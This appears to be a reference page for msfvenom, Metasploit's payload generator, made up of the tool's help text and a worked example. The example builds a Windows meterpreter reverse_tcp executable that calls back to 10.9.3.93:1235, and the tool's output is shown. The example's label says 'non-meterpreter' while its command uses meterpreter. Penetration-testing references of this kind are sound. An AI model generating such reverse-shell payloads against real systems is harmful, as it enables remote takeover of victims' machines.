Is a combination of Msfpayload and Msfencode, putting both of these tools into a single Framework instance. msfvenom replaced both msfpayload and msfencode as of June 8th, 2015.
Install the MetaSploit framework.
msfvenom [options] <var=val>
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
Simple non-meterpreter staged payload for Windows.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.9.3.93 LPORT=1235 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
